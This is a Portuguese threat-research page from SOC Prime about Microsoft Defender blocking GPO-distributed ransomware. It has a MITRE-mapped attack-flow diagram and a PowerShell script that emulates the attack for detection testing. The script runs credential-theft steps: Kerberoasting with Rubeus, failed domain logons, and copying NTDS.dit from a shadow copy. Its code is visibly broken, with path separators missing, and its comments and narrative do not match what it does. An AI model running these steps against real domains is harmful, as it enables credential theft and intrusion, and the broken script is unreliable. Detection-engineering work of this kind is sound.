SOC Prime Bias: Alto

27 Mar 2026 16:45

Estudo de Caso: Como a Proteção Preditiva do Defender Bloqueou Ransomware Baseado em GPO Antes da Execução

Author Photo
Ruslan Mikhalov Chefe de Pesquisa de Ameaças na SOC Prime linkedin icon Seguir
Estudo de Caso: Como a Proteção Preditiva do Defender Bloqueou Ransomware Baseado em GPO Antes da Execução
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Resumo

O Microsoft Defender interrompeu um ataque de ransomware operado manualmente, direcionado a uma grande organização educacional, ao detectar abuso de Objetos de Diretiva de Grupo (GPOs) usados para enfraquecer configurações de segurança e distribuir ransomware por meio de tarefas agendadas.

Investigação

Os atacantes comprometeram uma conta de administrador de domínio, realizaram enumeração do Active Directory, forçaram credenciais, coletaram tickets Kerberos e dados NTDS, criaram contas locais fraudulentas e implantaram GPOs maliciosos para impor uma política de adulteração e acionar a entrega de ransomware por meio de tarefas agendadas.

Mitigação

A proteção preditiva do Defender identificou a atividade maliciosa do GPO, impôs o endurecimento temporário do GPO, bloqueou a distribuição do ransomware por tarefa agendada e evitou a criptografia em 97% dos dispositivos.

Resposta

Após a detecção, os defensores devem imediatamente ativar o endurecimento do GPO, conter contas comprometidas, bloquear tráfego SMB suspeito e investigar por métodos adicionais de persistência, incluindo a criação não autorizada de contas locais.

"graph TB %% Class Definitions classDef action fill:#99ccff classDef technique fill:#ffcc99 classDef builtin fill:#cccccc %% Reconnaissance Nodes recon_action["<b>Ação</b> – Reconhecimento<br/>Usou AD Explorer para enumerar o Active Directory e fez a tentativa de adivinhar senhas."] class recon_action action recon_brute["<b>Técnica</b> – T1110 Força Bruta: Tentativa de Adivinhar Senhas<br/><b>Descrição</b> Tentativas de adivinhar senhas usando tentativa e erro."] class recon_brute technique recon_account["<b>Técnica</b> – T1087.002 Descoberta de Conta: Conta de Domínio<br/><b>Descrição</b> Enumera contas de usuários de domínio."] class recon_account technique recon_gpo["<b>Técnica</b> – T1615 Descoberta de Diretiva de Grupo<br/><b>Descrição</b> Recupera as configurações de Diretiva de Grupo dos controladores de domínio."] class recon_gpo technique %% Reconnaissance Connections recon_action –>|usa| recon_brute recon_action –>|descobre| recon_account recon_action –>|descobre| recon_gpo %% Credential Access Nodes action_cred["<b>Ação</b> – Acesso a Credenciais<br/>Executou Kerberoasting e extraiu NTDS.dit."] class action_cred action tech_kerb["<b>Técnica</b> – T1558.003 Kerberoasting<br/><b>Descrição</b> Solicita tickets de serviço e os quebra offline."] class tech_kerb technique tech_ntds["<b>Técnica</b> – T1003.003 Despejo de Credenciais do SO: NTDS<br/><b>Descrição</b> Extrai hashes de senha do banco de dados do Active Directory."] class tech_ntds technique %% Credential Access Connections action_cred –>|usa| tech_kerb action_cred –>|usa| tech_ntds %% Persistence Nodes action_persist["<b>Ação</b> – Persistência<br/>Criou novas contas locais em hosts comprometidos."] class action_persist action tech_create_local["<b>Técnica</b> – T1136.001 Criar Conta: Conta Local<br/><b>Descrição</b> Adiciona contas de usuários locais para acesso contínuo."] class tech_create_local technique %% Persistence Connections action_persist –>|usa| tech_create_local %% Lateral Movement Nodes action_lateral["<b>Ação</b> – Movimento Lateral<br/>Usou credenciais de domínio roubadas para acessar compartilhamentos de administrador remoto via SMB."] class action_lateral action tech_smb["<b>Técnica</b> – T1021.002 Serviços Remotos Compartilhamentos SMB/Windows Admin<br/><b>Descrição</b> Usa compartilhamentos SMB para movimento lateral."] class tech_smb technique %% Lateral Movement Connections action_lateral –>|usa| tech_smb %% Defense Evasion Nodes action_evasion["<b>Ação</b> – Evasão de Defesa<br/>Implantou GPO malicioso para desativar o Microsoft Defender."] class action_evasion action tech_gpo_mod["<b>Técnica</b> – T1484 Modificação de Política de Domínio ou Locatário<br/><b>Descrição</b> Altera Objetos de Diretiva de Grupo para mudar configurações de segurança."] class tech_gpo_mod technique tech_impair["<b>Técnica</b> – T1562.001 Deteriorar Defesas Desativar ou Modificar Ferramentas<br/><b>Descrição</b> Desativa ou modifica ferramentas de segurança."] class tech_impair technique %% Defense Evasion Connections action_evasion –>|modifica| tech_gpo_mod action_evasion –>|desativa| tech_impair %% Impact Preparation Nodes action_impact["<b>Ação</b> – Preparação de Impacto<br/>Criou tarefa agendada via GPO para copiar e executar arquivos em todas as máquinas do domínio."] class action_impact action tech_scheduled["<b>Técnica</b> – T1053 Tarefa/Job Agendado<br/><b>Descrição</b> Agenda a execução de comandos em horários definidos."] class tech_scheduled technique tech_cmd["<b>Técnica</b> – T1059.003 Interpretador de Comando e Script Windows Command Shell<br/><b>Descrição</b> Executa arquivos em lote usando cmd.exe."] class tech_cmd technique tech_rundll["<b>Técnica</b> – T1218.011 Execução Proxy de Binário do Sistema Rundll32<br/><b>Descrição</b> Carrega DLLs maliciosos via rundll32.exe."] class tech_rundll technique %% Impact Preparation Connections action_impact –>|cria| tech_scheduled action_impact –>|executa| tech_cmd action_impact –>|usa| tech_rundll %% Ransomware Deployment Nodes action_ransom["<b>Ação</b> – Implantação de Ransomware<br/>Payload tenta criptografar arquivos; Defender bloqueou a propagação de GPO em muitos dispositivos."] class action_ransom action tech_encrypt["<b>Técnica</b> – T1486 Dados Criptografados para Impacto<br/><b>Descrição</b> Criptografa dados da vítima para exigir resgate."] class tech_encrypt technique %% Ransomware Deployment Connections action_ransom –>|usa| tech_encrypt %% Overall Flow Sequence recon_action –>|leads_to| action_cred action_cred –>|leads_to| action_persist action_persist –>|leads_to| action_lateral action_lateral –>|leads_to| action_evasion action_evasion –>|leads_to| action_impact action_impact –>|leads_to| action_ransom "

Fluxo de Ataque

Execução de Simulação

Pré-requisito: A Verificação de Pré-vôo de Telemetria & Base deve ter passado.

Justificativa: Esta seção detalha a execução precisa da técnica do adversário (TTP) projetada para acionar a regra de detecção. Os comandos e a narrativa DEVEM refletir diretamente os TTPs identificados e visam gerar a telemetria exata esperada pela lógica de detecção.

Narrativa do Ataque & Comandos

  1. Enumeração de Active Directory com ADExplorer – Um atacante usa a utilitário living-off-the-land ADExplorer.exe para navegar no banco de dados do AD, gerando um evento de criação de processo que corresponde a Imagem|termina com: 'ADExplorer.exe'.

  2. Força Bruta de Credenciais (T1110) – O atacante realiza um spray de senhas contra uma conta de domínio, causando repetidas tentativas de logon falhadas (Evento 4625) com a razão da falha %#13 (“O usuário tentou fazer logon de um domínio não confiável”).

  3. Kerberoasting (T1558.003) – Usando a ferramenta de código aberto Rubeus, o atacante solicita tickets de serviço Kerberos para SPNs de contas de computador (por exemplo, HOST01$). Cada solicitação gera o Evento 4769 onde Nome do Serviço termina com $.

  4. Dump de NTDS (T1003.003) – O atacante cria uma Cópia de Sombra de Volume do drive do sistema e extrai NTDS.dit usando ntdsutil, causando o Evento 4662 com Tipo de Objeto = "ds" and Tipo de Operação = "Replicação".

Todas as quatro ações são executadas no mesmo host dentro de uma janela de 5 minutos para emular uma fase realista de “colheita” pós-comprometimento.

Script de Teste de Regressão

# -------------------------------------------------
# Script de Simulação – Aciona todos os quatro caminhos de detecção
# -------------------------------------------------

# 1. Execução ADExplorer (criação de processo)
$adExplorerPath = "$env:ProgramFilesSysinternalsADExplorer.exe"
if (-Not (Test-Path $adExplorerPath)) {
    Write-Host "ADExplorer não encontrado – faça o download do placeholder para o teste."
    # Simule copiando qualquer exe para o nome esperado
    Copy-Item "$env:SystemRootSysnotepad.exe" $adExplorerPath
}
Start-Process -FilePath $adExplorerPath -ArgumentList "/quiet" -WindowStyle Hidden
Start-Sleep -Seconds 5

# 2. Tentativas de login por força bruta (4625 com %#13)
$domain = "CONTOSO"
$user   = "usuarioTeste"
$badPwd = "SenhaIncorreta123!"
1..3 | ForEach-Object {
    $null = [System.DirectoryServices.AccountManagement.PrincipalContext]::new('Domain', $domain).ValidateCredentials($user, $badPwd)
    Start-Sleep -Milliseconds 500
}

# 3. Kerberoasting via Rubeus (requer Rubeus.exe no PATH)
$rubeusPath = "$env:ProgramFilesRubeusRubeus.exe"
if (-Not (Test-Path $rubeusPath)) {
    Write-Host "Rubeus não encontrado – pulando etapa de Kerberoasting."
} else {
    & $rubeusPath kerberoast /outfile:"C:Tempkerb_tickets.kirbi"
}
Start-Sleep -Seconds 5

# 4. Extração NTDS.dit usando VSS (4662 replicação)
# Crie uma cópia de sombra VSS e copie NTDS.dit
$shadow = (vssadmin list shadows | Select-String -Pattern "ShadowCopy Volume" -Context 0,1).Line.Split()[-1]
$ntdsSource = "$shadowWindowsNTDSNTDS.dit"
$ntdsDest   = "C:TempNTDS_dump.dit"
if (Test-Path $ntdsSource) {
    Copy-Item -Path $ntdsSource -Destination $ntdsDest -Force
}
Start-Sleep -Seconds 5

Write-Host "Simulação completa. Toda a telemetria deve ser ingerida."

Comandos de Limpeza

# -------------------------------------------------
# Limpeza – remove artefatos criados pela simulação
# -------------------------------------------------

# Remova o falso ADExplorer se foi criado
Remove-Item -Path "$env:ProgramFilesSysinternalsADExplorer.exe" -ErrorAction SilentlyContinue

# Excluir despejo de Kerberos
Remove-Item -Path "C:Tempkerb_tickets.kirbi" -ErrorAction SilentlyContinue

# Excluir despejo de NTDS
Remove-Item -Path "C:TempNTDS_dump.dit" -ErrorAction SilentlyContinue

# Limpe quaisquer cópias de sombra criadas (requer administrador)
# vssadmin delete shadows /all /quiet

Write-Host "Limpeza concluída."